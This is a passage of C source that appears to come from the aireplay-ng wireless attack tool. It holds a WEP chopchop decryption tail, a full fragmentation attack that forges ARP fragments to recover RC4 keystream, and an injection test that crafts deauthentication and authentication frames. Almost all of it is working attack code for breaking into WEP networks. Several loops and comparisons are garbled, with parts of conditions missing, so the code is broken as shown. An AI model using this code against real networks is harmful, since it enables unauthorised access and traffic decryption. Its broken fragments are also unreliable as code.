9] = srcbuf[srcz + 9] ^ 0x00; for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ h80211[1] &= 0xBF; /* remove the WEP bit, too */ /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 24; if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 24 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac, uchar *src_ip, uchar *dst_ip, int size) { uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen) { FILE *xorfile; size_t unused; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { uchar packet[4096]; uchar packet2[4096]; uchar prga[4096]; uchar iv[4]; // uchar ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } int grab_essid(uchar* packet, int len) { int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0; uchar bssid[6]; memcpy(bssid, packet+16, 6); taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) return -1; if(taglen != 1) return -1; if(pos+2+taglen > len) return -1; chan = packet[pos+2]; pos=0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) return -1; if(taglen > 250) taglen = 250; if(pos+2+taglen > len) return -1; for(i=0; i<20; i++) { if( ap[i].set) { if( memcmp(bssid, ap[i].bssid, 6) == 0 ) //got it already { if(packet[0] == 0x50 && !ap[i].found) { ap[i].found++; } if(ap[i].chan == 0) ap[i].chan=chan; break; } } if(ap[i].set == 0) { for(j=0; j 127) { return -1; } } ap[i].set = 1; ap[i].len = taglen; memcpy(ap[i].essid, packet+pos+2, taglen); ap[i].essid[taglen] = '\0'; memcpy(ap[i].bssid, bssid, 6); ap[i].chan = chan; if(packet[0] == 0x50) ap[i].found++; return 0; } } return -1; } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; int tcp_test(const char* ip_str, const short port) { int sock, i; struct sockaddr_in s_in; int packetsize = 1024; unsigned char packet[packetsize]; struct timeval tv, tv2, tv3; int caplen = 0; int times[REQUESTS]; int min, avg, max, len; struct net_hdr nh; tv3.tv_sec=0; tv3.tv_usec=1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip_str, &s_in.sin_addr)) return -1; if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 3000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000)) { printf("Connection timed out\n"); close(sock); return(-1); } usleep(10); } PCT; printf("TCP connection successful\n"); //trying to identify airserv-ng memset(&nh, 0, sizeof(nh)); // command: GET_CHAN nh.nh_type = 2; nh.nh_len = htonl(0); if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh)) { perror("send"); return -1; } gettimeofday( &tv, NULL ); i=0; while (1) //waiting for GET_CHAN answer { caplen = read(sock, &nh, sizeof(nh)); if(caplen == -1) { if( errno != EAGAIN ) { perror("read"); return -1; } } if( (unsigned)caplen == sizeof(nh)) { len = ntohl(nh.nh_len); if( nh.nh_type == 1 && i==0 ) { i=1; caplen = read(sock, packet, len); if(caplen == len) { i=2; break; } else { i=0; } } else { caplen = read(sock, packet, len); } } gettimeofday( &tv2, NULL ); //wait 1000ms for an answer if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } if(caplen == -1) usleep(10); } if(i==2) { PCT; printf("airserv-ng found\n"); } else { PCT; printf("airserv-ng NOT found\n"); } close(sock); for(i=0; i (1000*1000)) { break; } //simple "high-precision" usleep select(1, NULL, NULL, NULL, &tv3); } times[i] = ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)); printf( "\r%d/%d\r", i, REQUESTS); fflush(stdout); close(sock); } min = INT_MAX; avg = 0; max = 0; for(i=0; i max) max = times[i]; avg += times[i]; } avg /= REQUESTS; PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/1000.0, avg/1000.0, max/1000.0); return 0; } int do_attack_test() { uchar packet[4096]; struct timeval tv, tv2, tv3; int len=0, i=0, j=0, k=0; int gotit=0, answers=0, found=0; int caplen=0, essidlen=0; unsigned int min, avg, max; int ret=0; float avg2; struct rx_info ri; int atime=200; //time in ms to wait for answer packet (needs to be higher for airserv) unsigned char nulldata[1024]; if(opt.port_out > 0) { atime += 200; PCT; printf("Testing connection to injection device %s\n", opt.iface_out); ret = tcp_test(opt.ip_out, opt.port_out); if(ret != 0) { return( 1 ); } printf("\n"); /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; printf("\n"); dev.fd_out = wi_fd(_wi_out); wi_get_mac(_wi_out, dev.mac_out); if(opt.s_face == NULL) { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } } if(opt.s_face && opt.port_in > 0) { atime += 200; PCT; printf("Testing connection to capture device %s\n", opt.s_face); ret = tcp_test(opt.ip_in, opt.port_in); if(ret != 0) { return( 1 ); } printf("\n"); /* open the packet source */ _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } else if(opt.s_face && opt.port_in <= 0) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if(getnet(NULL, 0, 0) != 0) return 1; srand( time( NULL ) ); memset(ap, '\0', 20*sizeof(struct APt)); essidlen = strlen(opt.r_essid); if( essidlen > 250) essidlen = 250; if( essidlen > 0 ) { ap[0].set = 1; ap[0].found = 0; ap[0].len = essidlen; memcpy(ap[0].essid, opt.r_essid, essidlen); ap[0].essid[essidlen] = '\0'; memcpy(ap[0].bssid, opt.r_bssid, 6); found++; } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); PCT; printf("Trying broadcast probe requests...\n"); memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = 0x00; //ESSID Tag Length len += 2; memcpy(h80211+len, RATES, 16); len += 16; gotit=0; answers=0; for(i=0; i<3; i++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } if(!answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; answers++; } } } if (packet[0] == 0x80 ) //Is beacon frame { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer { break; } } } if(answers == 0) { PCT; printf("No Answer...\n"); } PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) ); if(found > 0) { printf("\n"); PCT; printf("Trying directed probe requests...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } if (packet[0] == 0xC4 ) //Is clear-to-send { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xD4 ) //Is ack { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xB0 ) //Is auth response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if (! memcmp(packet+10, packet+16, 6)) //From BSS ID { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) { if(ap[i].ping[j] > max) max = ap[i].ping[j]; if(ap[i].ping[j] < min) min = ap[i].ping[j]; avg += ap[i].ping[j]; avg2 += ap[i].pwr[j]; } } if(ap[i].found > 0) { avg /= ap[i].found; avg2 /= ap[i].found; PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n", (min/1000.0), (avg/1000.0), (max/1000.0), avg2); } PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); gotit=1; } } if(opt.bittest) { if(found > 0) { PCT; printf("Trying directed probe requests for all bitrates...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) avg2 /= ap[i].found; PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/1000000.0, ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); } if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); if(opt.fast) return 0; gotit=1; } } } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); if( opt.s_face != NULL ) { printf("\n"); PCT; printf("Trying card-to-card injection...\n"); /* sync both cards to the same channel, or the test will fail */ if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in)) { wi_set_channel(_wi_out, wi_get_channel(_wi_in)); } /* Attacks */ for(i=0; i<5; i++) { k=0; /* random macs */ opt.f_smac[0] = 0x00; opt.f_smac[1] = rand() & 0xFF; opt.f_smac[2] = rand() & 0xFF; opt.f_smac[3] = rand() & 0xFF; opt.f_smac[4] = rand() & 0xFF; opt.f_smac[5] = rand() & 0xFF; opt.f_dmac[0] = 0x00; opt.f_dmac[1] = rand() & 0xFF; opt.f_dmac[2] = rand() & 0xFF; opt.f_dmac[3] = rand() & 0xFF; opt.f_dmac[4] = rand() & 0xFF; opt.f_dmac[5] = rand() & 0xFF; opt.f_bssid[0] = 0x00; opt.f_bssid[1] = rand() & 0xFF; opt.f_bssid[2] = rand() & 0xFF; opt.f_bssid[3] = rand() & 0xFF; opt.f_bssid[4] = rand() & 0xFF; opt.f_bssid[5] = rand() & 0xFF; if(i==0) //attack -0 { memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 26; } else if(i==1) //attack -1 (open) { memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac , 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 30; } else if(i==2) //attack -1 (psk) { memcpy( h80211, ska_auth3, 24); memcpy( h80211 + 4, opt.f_dmac, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_bssid, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = 1; 